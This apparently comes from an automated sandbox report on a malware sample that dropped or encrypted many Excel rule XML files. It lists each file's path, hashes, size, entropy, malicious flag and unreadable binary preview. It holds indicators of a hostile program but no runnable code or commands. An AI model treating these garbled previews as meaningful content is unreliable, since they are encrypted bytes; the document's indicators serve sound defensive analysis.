SHA-512:	7F5828A05811D4F5861F4B39A445F4A9FEE59AE9CB60731AFA30B427BA13A287CDAA1A8A43610A5A5E526A3899F85A9741B22EF694D6039D9F3215ACDA6534C9
Malicious:	false
Preview:	<?xml..5(.......,.}..".i4..U..9B..%.6!.....I{c.N.Q..%.Ng.../.......C.].4...={....8...........{..R..d...<.....7..S.......A...#.F...\....6WB.N.J.i.2..w^..-}..l.`XNM....(......J.;...)2R\|..u..N..( ....C..<(.e<e.~D.u.G...+..r..9o..J..._w.oBc.'.i^.5/..........nQC..O.s;...<._.;..sg...l.~..[Eg...-Cz...O(o2...U........{.....r\|..4..Y..R.M.BS....+...c\|V.-Fu......2j...YH...+....;9......:....6.g.a.....j...b\y.-...[....O.DB..u.?M...F....../.....u......Xu.P.....g..s...h.@....n.ug.......P..j.....)...C.........k_D..I.?t$.oi0.....m.=......2E...'.]?/e<.....qFI.e<C..."..."..p.i...!uR.....,.."!.UY..-.....E(.2.%QY...`1L.5..u............gjd...,%.y...(4..P...M0..%..h..8%[..9~.-..Dk.o....../{.Vs..!.....;.....K...h...hY..^....Ypx6[N.d.Ck.!.....p/v...J.R*...,'....+Q..s.7...1H.....E.....8{....,.....~G...d2...k....%......=6]n......i..gZ..p.....Vw...q.....F~.5..;2.Ir....)..........7..Z`.W..Q#X.....<.l........9[...X.U.=....N.._-T.w.`U..R.8.>9..y.h...../:m...A.6..@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440005v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2320
Entropy (8bit):	7.9167994487219095
Encrypted:	false
SSDEEP:	48:8XzxSihyJUOyFOfpQmQiSEWLepCxEdwEF51GBAKEkBaS7dD:04ihgUOCCdGEWqiMwI5w57l
MD5:	D9C1825F9D0AF1BCA958851BD7753941
SHA1:	AC85DCFC5F1AA61089CB181BFBF425C27696FD6D
SHA-256:	07F0396ACF73D804BB9DF9BA10200A69CC07AD114897E5B7F96A4126BF834878
SHA-512:	380124ACCF6C2BB2E6384D070C108D1AEDACB2B915B769A430C630D10730EF1702766CC0D2762321EAFE9A086EFD6395B78253D99F54F39EC64CA20692C5F426
Malicious:	false
Preview:	<?xml.IC..4..j....h.9 .rj.S...Cr##....~..j\|+..KL8Q....q...o\|........c...G..#....A$....E.4.4.....<.>n.<.a....E.......6....[^(....l1.Vh.....pF.,w.;.b.;..c...U.O.3D.,..y.....c\.q....\P.x.c...>w.......o...&.{.....x.W.j..mAk..F.Z.0.,..B.mR..k..#...<..........Q....x~.!....\.vE.)7.Pr..p.......G.}....'o...,...f........+.n;8..c.>..I.........}b.p3M.C.5L}y..!...........U&..r.n.QX...]...+f........-.......X.....a..u..'..1[H9........5..8.....gc....z..z...8..T.:.D.....V>...9T..\...A...\|HV.[.U..n.'...@)x[0h__..dg4"g..7Y..............j....,......{......s...D..5.4.&......0..>..u.?'.p..K...KNV..#.Wj7.T5\|.....NN\V....6...-..._S@\|.@.._...Y...MN.RQ. P...`C....T.8n.H....]@.......U..Y].6Fn(.y.6...(..).>%.....1...V.%]p...c.tt.Y.].R;..,..m..\|...V..K..A....BH.ll........j....E.X.......- p.....W..A...A.Y.......p.9.R.....X.).l.....3.Jm...b.r...L.....D....;S....NP..$..5.T.].6c.6..7.......\-...........M.C`5..A.N...\~?."2(E.g..........j.sn.9.M..b.w.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	41208
Entropy (8bit):	7.996077609515748
Encrypted:	true
SSDEEP:	768:tRXV16x/CQYjj8t6oCu3XpHnjD8Zap1ts85h0TSjYH:jqx/lYn8t6oh3XpHX+aCkfjE
MD5:	48807822A6E52524D0C17ADC30C18F5F
SHA1:	B1535DD4159EE8A349BDE24D932CE7AF5F3559F7
SHA-256:	1134CC4620D0B6F804F81115FE93CE25E0343620118A8082ACA238A0246FB67E
SHA-512:	144BE081C3C6CABB4A6EB54683CE7E54F52526145BAFB1D8A6AFBEDDB2DF085DEF976AD522EE2F3D8952CC520EEDA18EAFA807E8FB65137DEBFDF5A840DF9192
Malicious:	true
Preview:	<?xml..Q(.b"..S..w....BTt...0...eH...d../....=...,.....f....k..BM>.\|..ueu.8....f....]>p...lR;I..7.H]....].]K@T..i...d,......@I..q!~..q.0..Kul.Av.w...P..Q.E0.8...s.Y...q..K.y.;..E.^.#.(....^......T......'g...>.Uv.~f.p; ..Po.....P..s.zL..K..\|.^..v7.>=..a.............S.p..Q...u....")....o.....\.i`\|>.g.Nb..........>F.W..#.(g.O.z<$T.oK...c.U:R}Q\....sc..x.#iSH..q.Q6..DNL}.(..fe..h..R.... .h...5.Z.......Cq.^.V..e....).9.~.....G%.T.@.......&\|...<w.,S.........j.$.......x..=D...6..=...Q.....Z..%cz..G..n..3..c......+. r.'......(U....Sp.9/g....k..fa..Q....B}.....l.1...v..!.Vi.q..f#ux#.<..a?..O.}h,y..oI....'....q..[.i&..+^.f..y..Y...U.....4+a....$^8.....@.Y..Cl'.._J..b....l{.w9.`.".xa.....X7........]7....\....fG+bJ.~$.........D@..S.xo%.. ...U..d..>$M...k.....a....XD...Pq?E....p.......X..X.....Y..".y..+..X..".O ....;$:.n>.&.........w.4.0.?.h.}....1...xKJ..Ei...%/......XV..vg./e..@..l.D.L.&u...M..j[....\w....... L...= .z...".1..M.7".I...g...6.......9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460008v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	785
Entropy (8bit):	7.733452300506325
Encrypted:	false
SSDEEP:	12:5IZQt1aNH7fTncsE6+h/vHQKfyffkqn0Nfx5j6jgpiKF2Frt71pZsB25SUdNciik:iZs1aV7QsE6EvH4fR0lYOcr0EM2bD
MD5:	45DD884616115E0ED182B28182781C1E
SHA1:	B9F03A37D5EB9181E7D61AA380A0DC7681BE49D8
SHA-256:	84B31CCBC98C015FF1F4F79212F3496921A6E3C607ED3D954D34DEC3FE6F14EE
SHA-512:	E223BC855E1AD73254ECB0FED356A0EF8A0842F3338EF62D239616D955578CEA2088B1D267FBD1687FA3F579886B26E30BA946BD65186C56F058B70C365D383C
Malicious:	false
Preview:	<?xml..^.l..'.6.z..\..o......@.+2<.u...i.vk.V....3..\|]....B.H.q..j.<L).2d...5....)dM2..0./S.J.z..v...V.<..)."&..2.....e\|.pMV.3..e".}c..=..3.q$...6..+.xV..Ba..;....Z..F1...P......B.4...@;...9..wyrW.!=.`.toN.p+.....@..C..H..Nu[.......{.+...h.s.r\| !.tP.I-oZ...s=..8.........LP.1#...?M..xDz)u.5...%.-.._.A&.Z...;n..f.S...`.J`.}.pOp..:A>...>.&...F..m.o.....h.a#<..te..0o... .;..c....{OO.RJ;EY..g7.(.X.=..Rt...&...d..Mt..kux.ZL....[H/c.V._e,.A.&..?...a...=.x....%...QZ......d....t...nR7./..0:8BK1^........\|...S.<s...3......(.u..W3JkAJ.Am.).........cTK...`7...8.XG..w_ .L_yU....l.s...3.Z..oz........'...i.}.RU....N^.TP....6N;.K...Xx..."O...+....~...]./a....U'...:.V.!..E.N[..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460009v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.712672375469859
Encrypted:	false
SSDEEP:	12:ORkaPzeK4M4qfuPvcDjiFV803m3U+4Yj4rox5Bn4GBehHn4hoWSUdNcii9a:objV/fRi3Ht+zj4kZnjBehHnQoV2bD
MD5:	108F1DA8AEC2532661D26245B2A1D33B
SHA1:	0FA4FF80B60792EC9EB5A5D54B87A4DB465022BF
SHA-256:	9DCD4092CCC37480C557FD79505F1815EE35262A0EDED6E195C056D679D37713
SHA-512:	901ABBEE1AE5822A7FDC9064967AF49F9628F63130D3109FE9CEF9A14BA952DEA5C4B4FE22657DE340ABCFA74F22C308496AE3CB923510BE8F8649A63CC6DC4B
Malicious:	false
Preview:	<?xmls....=C.....U.....>....W.s.......c./r.o.2.ygTZ.k~>..U1k..e...AN.b....'"^..y..v..CH.o.7...B..r.....y.........T.;..o\.._'ku..wF...Thm.k..n<.Ui......0.A..b..z.Z.WT.....^WE.G.0....QoE_o0.HC%6..J...J.P....6.K.;B...8tx......_......ls.......V_/....Y.......`....{1.+....2~8^^"....._.h$A1.I(.r..~._..v.e......=...m...9./.4..ub/4....l.E..T.l.....F.H).r..W.Y.I.^.h@.....i.\8,..~..z.....I..;.PaI6.U.. \|.PO...2....XT...eK.xl3bt?i.....U8j. v......$.z.5...s.....u..b..(.5........./.@`*....~t1\~..L...f.z]aby....<` .......ZG.PLGB...Oj..w..........~...z B.......u;.[.X...i...d?ww..YU{m..\|..$.....L.L.........\.E_.%b.4O...J.:&..$...2a9.......GZ....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490002v13.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1428
Entropy (8bit):	7.849431085003956
Encrypted:	false
SSDEEP:	24:KKuMyHN4N71IxbZAJSwt+XMZPraaI2c1LnH8tfmZWTh4n4KWRxkEdjSqWlZspB2X:KHt4NJsbL9O2aI2kLnH8YMTh4n47RxF0
MD5:	4FF98BFC38C930C647B74E98CAAAD647
SHA1:	2F8176816949F9A26756EA7DD96F30B4E4AF77ED
SHA-256:	1302C53E199ED3CC82DDC37D7B6494D291C2E5B898174176E923C14B0FD5D77C
SHA-512:	314618FCC3AFBA043644FE9AF7657D28E132BC9BAAD59472A8D3D84B82727A396B0A65DD593B62F594A07E1B43D57B418324FDC65CCB5D8993CADFF3D19E8CF1
Malicious:	false
Preview:	<?xml/...bM..?R3......,..#.v.L1.......9.{....@.M........._{.i...l..'u.)k.oL....6.v..`:$].F:p[K.......1....m..iD..:...{2'z..'...@ ..NS....t.&..Vs.dr..+.Q6.<..gS<..%...Z.22..Q(D<-.......p..5.K..>.3....\....B............S>]..N......d.. ;1...,.....m....N..`..-....l.n..kM.j.z.P......'6..P..V.I...[....P.......\|.t..#>.\|/q:o9....3d..3j.......su.2.6....H...T.#g@5..?...\..cf.$.xN..z.Q\|..2..n.} :'.yT....0i......I...1....c}.&..\.......i..._.......R...K....A.....piL.w...]...-cQ...%....Q...(....N....b0.]....<_.y...bE....!..,4....ex.y.....K..b..S..r.f..~&9G)J9}h[#.plK=.....D...{r...JI.5D.>.EP....3.7\]......o.%..........Q.x..LGKB{..`.e..M.....`..D..\k.M.5..$.........Z....-....$?.y.5g..$.S.8t!.[...$]{n..pa........o...E.\|...H...........i!.....j..E..7...`8....'Y...^ r...E......-....X.T.J0......iu..M..Au.7.u.a..~.}].f..-DH6...g...!...;....<..N..D...4......C.hG.....a......>.;.JM/...K...........bp.MAZ2~....}4..3.wzz~Om..1..\|..:.i...(....m......~.f...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490003v7.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	7.7644095833416475
Encrypted:	false
SSDEEP:	24:FiVTu4DMem6SqizSyZg+IoUVFtEx6UGaw2bD:ItosSqG21FtEgUJD
MD5:	2834A2F98E71A1503C3984E10DED08B6
SHA1:	C11D5BF347866D32E327BBD5F80508EC0E807785
SHA-256:	3A925FAAA04B5ACEC893C13BE8A6122CCF343926E41D4360283693E6170132D1
SHA-512:	6AE5A87F18F559C5484EC017643C199BAEAEE16A3073D1DEB52B8E878F5BA8663726537ED3B64272A0BDD1D0374998A93AFF8B49FF6CA9DA2E1C02B601483613
Malicious:	false
Preview:	<?xml....j.3JO.e.%........zi.r..A.!..@..b..G..)..H.>.?...V".8{.fu+0.zm.2..?.)..[.c.....V../0.....w..5.)V.?bU.....kK.e8......+..~.t...Y..M..Y...B......\.)...J...1..]..3.....m.'u..O.....}(b+fd."6........w3.{.D.......2.V_..X..jc{&.U.r...88..4.FY.b...[a.h..E.wv.=.pG.b.M!.....W/..X...~...ou.%... ZV)....v.........3<...A5..ieK..7...\|...}...^...t.......`._q....OFP.#v......#..J...vD...gH.>..-.H...`......pN..~.>.c.eEnK.q.b...F.Y.d.@t}....B.1..".......m<O...fP..J.CH..,..#.O...p73..t%..k.t.{X..^....H..}G..."..Y....M../.....}.R..4K7.@.3..}.......lb.6`...^F#"fG..7...u..y6..;....J5..)`f./...5.'m....D..z./)i..../..C.\|]..T.?;R........VG..I......s...B.,r?{..$.m..L..E.....*.].`..n.....H.K.z]q...A.mq{..(];...1....g.F-..7..$.P.J.....19\|X..f.k..D6..; ch.X....f(.u.......[.....x.V...lXg..g.w..O~..E..%....L,.Cq.....f.......Z.(...+......;>....i...wK.d.RMf......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490004v5.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.769969208163133
Encrypted:	false
SSDEEP:	24:QmNcYtsz211E3Ttu1y4Mc/xE+Q3WssiHFx8BfiCB/LR5M2bD:QmNxtszWE3TtuA4f/q+QmsYxi0/F5fD
MD5:	AD75FDAAE88DC18A8DBD6393BEAC2E88
SHA1:	3B5DDA5DDFEC249EE320F163BE2DEF0D0FF70EF7
SHA-256:	E6FE22E70FCE2190EA49898415CCF917E042A60A13650DFCECE7BC5F6E797169
SHA-512:	F2C8BFFA8A9DB7769864747F80B1BAED25B590E3D6ABB603370D544612D261CE4E9042FD96296E012331123C1F9DF1CD44193C941C80DAE7870A7D0CD8FCD277
Malicious:	false
Preview:	<?xmlG...q--.?.B..}....b..K...S.5..V..5Xdh.1q..f$..:...u......y.2..~...o.Jy.'.....;o.N./.......vO."-..=....4WQ..C....L..d.........e..u..Tx...t......s...A.7....8=/O...M`>..)..7......6.{.".>./U.']5..#\....e+.JV....PV....Ho.D7._......z\..g.$.4{b.oL...b..W"........l..J^.9......R..&y..h..E..>O9....r&.]....\C`.'..j....Z.^.I..I..i&Drc3XH\|.....Qb=...=.-.1>9<...@......K.\.u.\|......w.c.....l.....9C.c[..oF...v.Gt+.,.....L.m...r....7$AA`.d...P...N.s...-..J..OY..l.....I'-..r!1.g.....D.U?..m{...]\|...W..._(.!.KG.......(...N..W..... J.)Pg....k.[U);w.LU......V......&....>..wQ9.YV)6..F'0G.Pb.....#6....R..r...0.e..;....J.!.....zs...q.&../.....J..>.`.]\|...6..-..O.{s5y..'.[........e...ypA2;..F../...sWs.cY.........A8...j..].B..6..m..EIx..P....b...B.fV..j..5u..7.*....U..t.WE`..(..bE.HD........@q.#.:).l.7.4.0Q`.....[...J..E/.Y..z.^..A.............J.D....9Q....i;3....H.......~..Eo8.3.F.3.iN....q..0.'mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490005v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	7.81724585971961
Encrypted:	false
SSDEEP:	24:IccmUTtpSmz3EKfmOr8QdwbuyVnC1E7wucA2bD:uj/NNxwbhC1cwuczD
MD5:	359FB2F7CD7D172056129DE58DA7D368
SHA1:	4D7587C27EDD0E3E2AB2F164DD5AF110A505F94B
SHA-256:	4E9C4FA6FC4412639702722F3A199CA0C89B7F9D28210342BF7317E49BC505A3
SHA-512:	6D2470E52C618E54D4E4719428373C3CB201002A514D9D7A60E1BB4CC7AB7780DBA008ED4E0351879EAC4CB0817ABBFEAD0471A4BA7ADEC667CD47AB3DF566AF
Malicious:	false
Preview:	<?xml54......#:..G.u\r$D_.'.5yC.7..?.1...>z.!......J/;jv...:G.1....!..e.....z$.../.....R....r..d.3.)...Q..p.....K.^.O.I...nt..I...!W......Q76:.g.j.p....m...I..q...5<...i.+.CTrV...^)j\|..h.!...C.'.t....~.S...zU".5..G/......."....{%....Rab)J..:nv...8~..),.L...[.>.l3+:..O...?..IG:j2....9.6..'.n..k..u..sX.D.S......[.....n.........z.....XL:X..~./...0..........(..,..U,<.....V.^.d...>..N......z.Vb%.9..Ok..n..G...3.'t...........4...........~.W.r.N.....l...i6......[.........0.}.:.r.x@=[jL..oUS.B9T.......G\.?.#F...l.../n.V.[.y.8.,M..'.b..$..z..,kpC~..q. .`D.....'...g.......8.M..[....#:....x..;...'i?.P..zh.>.#.y....7.f2#A.......*....5.U............E.}.9...._.Om....{.!..&..fx..X......Vr..C.H...7....]......u....2@#........#Z=c...%;...c........+#.Q.....y..\......i.RgW.i........N......Cc..^UT..y......1....$...~.O...vx$:=kk..<.rN.r.`7.$N.mS..$....&.1..-."Y..~>..n..N.........#....<~0..S..P.2..P....`.....,..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490009v5.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1453
Entropy (8bit):	7.887872568225008
Encrypted:	false
SSDEEP:	24:ql1HFlKTCgbUXI6jYbI18csngQK39I5Lg4jkJaOS4FSMQz1lfoyv/C2bD:WHG8Y0uzmI5LBjKaOSZnfoE/ZD
MD5:	74CE1D9741F59A85A0705A25AD5B5A2E
SHA1:	7FA5B213BE5B1A5293568F48C6185D421DE0DB57
SHA-256:	EE591A206AFB15E1123BEC7E94FFAD889FC8493F04B955C1649B184309854F2E
SHA-512:	DE6257B2B8963288C1DCB31585274335B2FAD5C043A50363A61C61FEE498F02CF579BE8B355BD2882B927A811EC630D77332D0346EE8E34B78F524F5AC8ED781
Malicious:	false
Preview:	<?xml..x...x.R....E...p.mb...~^.......-.vC.[]~..n%....l........L?....qO.......^$K"[1...F..X..:..#W.HE.m...._.1.....9...f_...d...N.J.l...r.(`7+.....p.{.@.g".y.OC.N.CPa......./+K..._S../.._....>...Nu.PZG.#...G....vR...=...<K....@.r<`..t.o..`....O.o8~...q.G.W.....Wb...;....8.".+.)$W.......R..L..... .Zi^8.ja.:A.6&...o7....d..=M..;....L:,......)J.j..,.,.H..O.y.b..y...).....%...;..{.8...#'..Q....8k..Y..X.kS.J..Qm.[U.a....Y...`..\|..#..'.4.f....n;.D.. ........s\|]0..4........_@.#...s....a....6.T2...o.1A.....i49.s...%.....n.``A..U...6u{..y)V. .2..<...{.p.8..0.jR..C...s....Bt.....)..}:..e...;[.....n.....g.2F.3fQ....x.].!y.w.J....lg>...........ba..[........1......(u..e).....0._......C..b.7~..t.E.....h.Q.i.......?X....K...`uC........O.k.....h.4N...g9u........=..H.j.k...Ql-...E...7=u.>..-=P..\|......r.m...)....%.t.9...MH(T...Se..8......s.= E...aA.!..DO..E....'._T..k.9..&'.*....4..../.........X..KM.V-{1d..3.L....y6....nF-9..0...x.i...S......;\..Y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490010v7.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	7.854854724525836
Encrypted:	false
SSDEEP:	24:SqpFQtPrjn91cNk++7CR5gBEWgSdMKGm5rmfDTZLY0dwYWKhcqVmCnAdyV2bD:S8Fy3n98PQCDgBaS95yfZVwYxYCAAuD
MD5:	EB21EC432FDD0515029D4AEC2AEE2429
SHA1:	A9C63A3F80F8FC9DFA79FE682688692B946BD9B9
SHA-256:	C46EFF2BAB3343EB55039835AE2F1B5D95F03E5A813AAB2F8236F87C71F8442C
SHA-512:	64CF74268271DDC4BFB3AD934A54DCA3B45FD8B6A4578AC61E639074209B5DE20C4296076028CF26CBC3B53AA7D489F5C2948FEE60E1F2881FAFF764C1E6F23D
Malicious:	false
Preview:	<?xml..<YQW..Z..w~Z.p$...S..H.........8.v).#m.D.L...=U7t... B.x.v{x..f...%o...L.g(....=..........tn...8..N.....y...(I...VA....1....}.)F..N.}ioH...JQJP..N.....0.K..&=.1......y....H?...F.h...V.n.J......7..XP.D4.^.Ar?.r-.6....u.C"..f+.D...A@...'5.E.'..........NKj....^.3.?.B...\|...X=,.....K....E....'".v....<.).:4..J\M.{j...%}...'........\|.p.BJ.?\..i..`6n.3k+.}2..6...I9/...5..v..h.....+@...[2}w....@.*.m........){u..T.+~&1..f....;w..s{..-M.5....$.g../..X6..F..d.F..0..G9T02:.j.....0./.....OM..f....0..=.I<.^q...P...OT..m......By...RI..@..V.Yb.......2\|"f../..b...]...p...=.h.XDq.4.c.pZ.~.b..Y.bV..B..(E.:..s..\....a.J..!!..{.0....zO..w.D%.F.q..4$..!.51.Y3.L...9y...k.^.....H.c...$N.......O$.H....2@IU..9...3h .....{..c..9v/<i..e....N.y.u%..]....Y....-.." r.,.!.4...... ..bM...7.mY'<..b.j....A.........<...Z.7x>...=......h.Y....\|.f..a......+:...4T..........w..7j\|J.@q{....#H.....]..=..2.....+..(.FN..LEHc......P.....Q'80x.......X.K.&.......Oo.\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490011v4.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	856
Entropy (8bit):	7.711761939508416
Encrypted:	false
SSDEEP:	12:mLYbBWE8xxLeuwT7jtVC/W2/TAlFUL1PFlQxR0ToED/CNOYViTCOaSUdNcii9a:8YbBox3w3fTgBNSmHIV0Z2bD
MD5:	C646E0E7D8B98B02D985497AFC5BE017
SHA1:	16CBE5520F213F0522F7E9F5B1F329520F6E33A7
SHA-256:	88FD9C22AA5E95ECDC6ABFF6D743C8A495AC897B344B3C5DDE2447418FDE7BD4
SHA-512:	064EC1A8890CDF4053779AD3E90CA53CC1792E52C50CFD89E65C781B3757F68A3CBAB7C9F6A2FDCB77589177B2A55D3B983D5032300488C9BBCCDE8FFBDF9629
Malicious:	false
Preview:	<?xml.5...n.{=$.q)..._...9.r..o..<. ^aB..\|.z.K.s..V.(c."V5C.C. ...`..5.'I.Yl....x..6..eN\.f......w.....mR.VXIQy.(.).d..3...+?...7....%..EL'.#AP..{}..n....^.u....1M>^....c.ya'}. ..?.Q..........E+..&./..V..""dU...../>.T.[p>}F.......W>6.p]..........G....vG............#..%}..N...Th8.\|Pw....o...;L~..+.QY...o.5..#.4... s.:.f..t....nA{...c.^..*.W..t. )!"....>J.FG....p."q.h4..f(.P;d...4.. .l....2p.^..o......p.I...hU...6&.R>..:P.DQYT....m..2....;.$..SZ.B..(c...7.yi..p..E.9....2.q#..a....;..\..7y..~.'...U.$B.............2?......?TX4"q+!.....<i....y.<.......JT.%jG.7.........6.q.R.......y.....T....1..Zg5A...G.!......!....\|-.\|..4..qW..pwP.2..'.ua;....j...zI.".>......saq....U:..Dw.1.'M.Ki....6we.....6.a"..[,.._A..M.W%.cs.)u..J~.0..&.T?..[.X.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490014v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	7.835868293574734
Encrypted:	false
SSDEEP:	24:GOvdEnyKYiAxbjAgbWKdFTSjkGdwuaM4fo5Tbi0k2bD:5vdEnjPAtBWKdQkG+9M0MTbi03D
MD5:	AB61FC89E3DA70F4F1383166612AD88F
SHA1:	4F59F178A198F6C660C4E5284613E8EEFF633D78
SHA-256:	9E8CDC3DA41AAAEE39682FC486FD66B672F055DD9C79B8B5052BED652BFCD269
SHA-512:	50E6C917D48DE6EAA8A416E99E03A64AB955D25AE693A524556F8C54734C49B69DDA36E68BD6F89EDBA6C65C3ABBF0531F823B267E4FF6BC06B15A747A71D986
Malicious:	false
Preview:	<?xmlz..+p...2.v..o6f.F.3.o/.....H...A........1..Xo.U........?...$p..`%A.Y...b.....>....:..............5b.......w#...$x(...~.@..+.......'.?..k.......S..f...Wt......@0!..I.......=.._.k...'.j<P.T..h.Cb..$...5..U..,{.C.Fygt.h....y.M-pE.....&..UO..n..@bd......._.r..l\|.......@.@...\|f....o),...8.....o..m..W....l..k..`..1..J..... pbS.4.<...?@....P../.....`.&O..C.m`%..\|..^....U!/..k.b..j+.{iOjHN4.^..X..\f.@n.J........&....C.+...~.o.....v.&..H.;L.+R.....H.#t..Z.....4M-i....T.YeJvc.N(^A.f./...}..li....i(s..S...Z;.y+......\|:..N.1n...$..G3...U.y.......Ck.n..:.O.....".?...{.O..R.F.H.....8....O.."....=:a..p?..E..m....].P....M>........!~....+Z8......o.0............J.....U.a.E}.....]A}PD.c5.U..,.8j..Q.-.,,.......x..h-.`=Um...Ya@......Q.ZH.r<L.....%.....q...6.f~.T.t....oL.PCi.<...dH\.p.....J........I..?)4..e..1D..G,...C[84x..).Ev...jws{}...\|.2))G!L.k.tM....hO....w)D.{...K.....7....K~.m.qbf......VZ._..T..{..."I.P.........1M..g..-...x..6.2B.^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	924
Entropy (8bit):	7.766630198916237
Encrypted:	false
SSDEEP:	12:0LdtIppkLeKHe6ClBVPyY9nRg1TuXVcw+oTugvUNmMSLGoqVW1eCbYiQE/zceSUn:22eyK+6vYWTuXVOoCgMop7jQwzcN2bD
MD5:	9375C7C1FE3A54B83267C5BADB480DF5
SHA1:	70EB0661431FDD1F5AB6D6EC2BFCD8F59550C5AC
SHA-256:	B6AB6C05E5E64031987808CCA0CBA9095B38ED417E453646A649B9F60F3FE04C
SHA-512:	8DBAED8F7B165A2863424B10A5053996CDED94221138E9B554CAC9ECF1C4DF3EB4BE988BD97810F9B92FE9D3AD9139BAB0579AE091FF4FB6F7C21548655548C6
Malicious:	false
Preview:	<?xmlIn.8...:.g.....W".@c....34..+". ....VT.p......E..R..o.w..Q..ZS.......[.Y.~......V5....\.Z.......)Q......e]2].F....T0.@..3......@..I.F......W...b8.c.....nb......"....-....6@..._..>..........ck{b[.o.)..Q..........Yb6g~.,.........r..Z/).. .R..{=-C.'.@...&.b.S(=......J2f...../U.5...4......h8..+...z.o./..+/.T.q..%.......q%.."T.;.l.\|.=...XY.AI.....5.yz.\\3.7r.....2. 25..-..h.....b,.h...9..^.hNe..EC.......q....p]>.q..`..\|RLw.m....d....B0.-....t.$0.f....{..q.........:.xEPA.+....G..\|S...(....<....{.1.O.........Q...XZP...>.E_..M.....f..O.g.^.......PT;.DA`..0._..Af$.Ob'._..%...c9....<...<N...84,?..8z].V..+..<.iv......f;iO.c3.RU......%vfs..'C.dX`4?.......k.%j$...]...b"I.o}#q..(...r.~~.6....1..G.....IJ...\|&rcZ.8..Q4`..Krxj.@I../kE..:.f].<.....Q*.....}..S.._j.Z...y..J...OoUdJ...-i....F...Q.?.<;x.7..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.842825615500982
Encrypted:	false
SSDEEP:	24:LMnUPLra1w9EM9E0TfV9dMvSVnD7QiCcREOqm75C3s78Z2bD:YnSrplEsXdhVD7NCLOqm75CcYyD
MD5:	4765E646CB970C6022BE92AA3C090236
SHA1:	C2D9E700522A8ACDD62399F24ADA54093C6EAC93
SHA-256:	5AFD7D037D78EF689E33DFA3BC2EEE2A51E5F6D01E4220F232824D3EFFC73729
SHA-512:	19E53B9B7603057973D75F587581AAF8C2E2ECB399E7FB12E0A9A137AEA246B71F1466257754118E47BD135E999B7947F5347FA78FD7E6076E73129325A217EC
Malicious:	false
